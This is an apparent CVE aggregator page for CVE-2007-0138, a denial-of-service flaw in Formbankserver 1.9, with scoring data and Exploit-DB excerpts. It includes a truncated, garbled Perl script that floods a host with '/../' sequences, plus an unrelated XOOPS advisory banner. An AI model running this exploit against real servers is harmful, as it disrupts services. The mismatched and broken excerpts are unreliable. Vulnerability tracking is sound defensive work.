CVE-2007-0138
published 2007-01-09CVE-2007-0138: formbankcgi.exe in Fersch Formbankserver 1.9, when the PATH_INFO begins with (1) AbfrageForm or (2) EingabeForm, allows remote attackers to cause a denial of…
PriorityP421medium5CVSS 2.0
AVNACLAuNCNINAP
EXPLOIT
EPSS
2.70%
84.1th percentile
formbankcgi.exe in Fersch Formbankserver 1.9, when the PATH_INFO begins with (1) AbfrageForm or (2) EingabeForm, allows remote attackers to cause a denial of service (daemon crash) via multiple requests containing many /../ sequences in the Name parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| fersch | formbankserver | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
XOOPS mod_gallery Zend_Hash_key + Extract - Remote File Inclusion
exploitdb·2008-01-06
CVE-2008-0138 XOOPS mod_gallery Zend_Hash_key + Extract - Remote File Inclusion
XOOPS mod_gallery Zend_Hash_key + Extract - Remote File Inclusion
---
----[ XOOPS mod_gallery Zend_Hash_key + Extract RFI ... ITDefence.ru Antichat.ru ]
XOOPS mod_gallery Zend_Hash_key + Extract REMOTE FILE INCLUDE
Eugene Minaev [email protected]
____/ __ __ _______________________ _______ _______________ \ \ \
/ .\ / /_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ //\
\ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
\ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\________[________________________________________]_________//_//_/ . .
Bug works only with register_globals = OFF . I find their security fix very fun , and you ? : )
Hah .. very serious security
Exploit-DB
Formbankserver 1.9 - 'Name' Remote Denial of Service
exploitdb·2006-12-31
CVE-2007-0138 Formbankserver 1.9 - 'Name' Remote Denial of Service
Formbankserver 1.9 - 'Name' Remote Denial of Service
---
#!perl
#Vulnerability found by Bl0od3r
#visit http://dc3.dl.am to see more exploits
#http://www.fersch.de/formbankserver/
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
- Hide quoted text -
use IO::Socket;
use warnings;
package exploit;
sub new { bless {} }
sub bar {
my $self = shift;
$self->{host}=$ARGV[0];
$self->{port}=$ARGV[1];
&start;
}
my $attack = exploit->new();
$attack->bar();
sub error() {
print("Connection Refused.Check the host now.It seems like its successfully attacked.");
}
sub start() {
$host=$ARGV[0];
$port=$ARGV[1];
$buff="/../" x 999;
die("No Host.") unless($host);
die("No Port.") unless($port);
for ($i=0;$inew( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &error();
syswrite STD
2007-01-09
Published